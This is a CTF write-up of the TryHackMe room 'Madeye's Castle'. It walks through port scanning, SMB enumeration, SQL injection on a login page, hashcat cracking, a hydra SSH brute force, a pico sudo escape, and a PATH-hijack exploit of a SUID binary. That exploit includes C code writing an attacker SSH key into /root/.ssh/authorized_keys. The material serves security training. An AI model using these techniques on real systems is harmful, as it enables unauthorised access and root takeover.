Madeye’s Castle TryHackMe Writeup

7 minute read


Madeye’s Castle is a medium rated Linux room on tryhackme by madeye. Using SQL injection on the webserver we obtain different SHA512 hashes for the users which was cracked using hashcat and the same password was used to login on the box as user Harry using SSH. On the box sudo entry was used to get a shell as another user hermonine and SUID binary was used to get root shell on the box.

Port Scan

Full Port Scan

[email protected]:~/Documents/tryhackme/madeyescastle$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports
Nmap scan report for
Host is up (0.34s latency).
Not shown: 65531 filtered ports
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Feb  2 17:43:58 2021 -- 1 IP address (1 host up) scanned in 104.27 seconds

We have four ports open.

Detail Scan

[email protected]:~/Documents/tryhackme/madeyescastle$ nmap -p22,80,139,445 -sC -sV -oN nmap/detail
Nmap scan report for
Host is up (0.34s latency).

22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:5f:48:fa:3d:3e:e6:9c:23:94:33:d1:8d:22:b4:7a (RSA)
|   256 53:75:a7:4a:a8:aa:46:66:6a:12:8c:cd:c2:6f:39:aa (ECDSA)
|_  256 7f:c2:2f:3d:64:d9:0a:50:74:60:36:03:98:00:75:98 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: Amazingly It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: HOGWARTZ-CASTLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: -1s
|_nbstat: NetBIOS name: HOGWARTZ-CASTLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: hogwartz-castle
|   NetBIOS computer name: HOGWARTZ-CASTLE\x00
|   Domain name: \x00
|   FQDN: hogwartz-castle
|_  System time: 2021-02-02T12:02:25+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-02T12:02:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Feb  2 17:48:06 2021 -- 1 IP address (1 host up) scanned in 57.91 seconds

Lets start our enumeration with SMB.

SMB on Port 445

Trying to list shares using smbclient


We are able to list the shares and we can see that there is a non standard share called sambashare. So, lets check if we have permission to access the share.

Accessing share contents

2 We are able to list the contents. Lets download those two files to our local box.

smb: \> get spellnames.txt
getting file \spellnames.txt of size 874 as spellnames.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> get .notes.txt
getting file \.notes.txt of size 147 as .notes.txt (0.1 KiloBytes/sec) (average 0.4 KiloBytes/sec)

Content of spellnames.txt


Content of .notes.txt

Hagrid told me that spells names are not good since they will not "rock you"
Hermonine loves historical text editors along with reading old books.

There is something reference with rockyou.txt wordlist and we get two names ie Hagrid and Hermonine which might come handy later, so lets keep a note of that.

Since there was not much on the SMB server, let us check the web server on Port 80.

HTTP service on Port 80

3 We get a standard apache default page.

Checking Source Code of the page


We get a new hostname. Lets add this entry to our /etc/hosts file.   hogwartz-castle.thm

Visting hogwartz-castle.thm

5 We get a login page. So at first I tried to login with common creds like admin:admin, admin:password, hermonine:hermonine and so on, but couldnot find anything.

Trying SQL injection

6 And we get a error message saying password for Lucas Washington is incorrect which proves that this is vulnerable to SQL injection.

So, I copied the response to a file and ran with SQLMap. While the SQLMap was running, I manually poked at this vulnerability.

Determing the columns

7 The query was returning 4 columns and column number 1 and 4 are reflected on the response. So, I tried to manually enumerate the databases and table names but was unsuccessful. I tried many payloads to indentify which SQL was running on the backend but couldnot figure it out. After a while SQLMap said the webserver was vulnerable to SQL injection and the backend was using sqlite.


8 Now that I know the backend is using SQLite, I tried to enumerate the tables manually and extract the contents as the SQLmap is going to take a lot of time doing so with blind injection method.

Listing the Tables

9 We get a table name user.

Listing the column names

10 We get name of 4 columns. ie name,admin,password,notes.

Extracting the column values



Name and Password


Since the message says to try the best64 rule on hashcat. Lets try to crack this hash using rockyou.txt and base64 hashcat rule.

Hash Cracking with Hashcat

Content of hash.txt

[email protected]:~/Documents/tryhackme/madeyescastle$ cat hash.txt                                                                      

I searched around and found that the hash is SHA512 and the mode of SHA512 for hashcat is 1700.

Hash Cracking

13 And a hash is successfully cracked. As the note said the linux username is the first name, so lets try to bruteforce the SSH password using hydra.

Bruteforcing SSH using hydra

I copied all the names of the users on a file called names.txt and use the same wordlist for hydra.

Contents of names.txt

[email protected]:~/Documents/tryhackme/madeyescastle$ cat names.txt 

Using Hydra to bruteforce the password

14 And we get a hit. So, lets login on the box using SSH.

Shell as Harry


Privilege Escalation

Sudo -l


Our user can run /usr/bin/pico as user hermonine. Lets check on gtfobins if we can use this to get a shell on the box as user hermonine. 17 And it turns out we can execute commands as hermonine.

Shell as hermoine

[email protected]:~$ sudo -u hermonine /usr/bin/pico


We have a shell as user hermonine. This shell will be hard to work with, so lets generate a SSH key pairs and copy the public key to hermonine’s authorized_keys file.

Generating SSH key pairs


Copying the content of to authorized_keys


Shell as hermonine using SSH


Checking for SUID binaries


We get a non standard binary with SUID bit set. If we can find any vulnerabilities on this binary we will be able to execute commands as root. So, I downloaded the binary and reversed using ghidra.

Downloading the file to local box

[email protected]:~/Documents/tryhackme/madeyescastle$ scp -i hermonine [email protected]:/srv/time-turner/swagger swagger

Reversing with ghidra

Main function

undefined8 main(void)

  time_t tVar1;
  long in_FS_OFFSET;
  uint local_18;
  uint local_14;
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar1 = time((time_t *)0x0);
  local_14 = rand();
  printf("Guess my number: ");
  if (local_14 == local_18) {
  else {
    puts("Nope, that is not what I was thinking");
    printf("I was thinking of %d\n",(ulong)local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return 0;

The program generates a random number with seed as time(0) and we have to guess that number. If the number is correct, impressive() function will be called, and if the number is not correct the program teminates displaying error message.

Definition of impressive()

void impressive(void)

  puts("Nice use of the time-turner!");
  printf("This system architecture is ");
  system("uname -p");

This function sets the permissions as root and execute the program uname -p. Since the relative path is being used to call the uname binary, our system will look for this file on our PATH variable. If we update the PATH variable, we can execute a new uname binary with mallicious content. Now, we have to guess the number correctly.

Bypassing the number check

Running binary with ltrace

23 Here we can view the random number and we can submit after converting hex to decimal. 24 But it looked like ltrace drops the SUID permission and I couldnot get the command execution as root.

Using own random number generator in C


[email protected]:/srv/time-turner$ gcc rand.c -o rand
[email protected]:/srv/time-turner$ ./rand | ./swagger 
Guess my number: Nice use of the time-turner!
This system architecture is x86_64

And the check is complete.

Using Bash

[email protected]:/srv/time-turner$ echo 0 | ./swagger | tail -1 | awk -F' ' '{print $5}' | ./swagger 
Guess my number: Nice use of the time-turner!
This system architecture is x86_64

Now we have to create a binary called uname, put it on our current directory and update our PATH variable.

Content of uname.c

#include <stdio.h>

main() {
   FILE *fp;

   fp = fopen("/root/.ssh/authorized_keys", "w+");
   fprintf(fp, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0C1lOCfqJP7wT/rTzozKM5PhreHNpixuuaT5O2bfkXM75u1K6jE7VddpDp8/a5OeRlIofzfbcRujDTZ6gVW7TbdjGTy58SaJ1dq+e90FOGceI5tPUcIaREPJF590YjOhYDudSGlAik4RsbCQ+Xc4vVJSyw0RK6aKYrjAwqKa62RwwOY93QIjSjkeJoyyeGzye+pRB282zdJj0yWy2tQEsHxEyDdjbJAE5qzZjE+qEzYYQIKj7qyp4u9NzyVS/Urty/sZrLD5FLHqISIQpi0Xkva7cx1OxaxvYOKTAWue4dpsUv2lVQT1PtomBgi6WC7B/78Rq1dKBDfx/YDDxiK2SOFzQYLmK8enKkvRIvq2a7NEIgO7A0E7+husp/6A/8LZo5f7LwzyUG1QLufdPdGM2HRw4HW2bKoVSLkBPw2FDIJ4lkkVxqZNwDbg5h5LK7pco3DRYRU1U3kqE4IMaqMBeXxESqabIjecYIlRBbVrYiAr501ssSGKQVkyxKXFnmAE=");

Here I have written our public key to root’s ssh directory.

Updating the path

[email protected]:/srv/time-turner$ export PATH=`pwd`:$PATH

Compiling uname.c

[email protected]:/srv/time-turner$ gcc uname.c -o uname
uname.c:3:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
[email protected]

It gives us a warning but the code is successfully compiled.

Running the exploit


Looks like it ran. Let us try to login to the box as root using SSH.

Shell as root

27 And we successfully login as root on the box.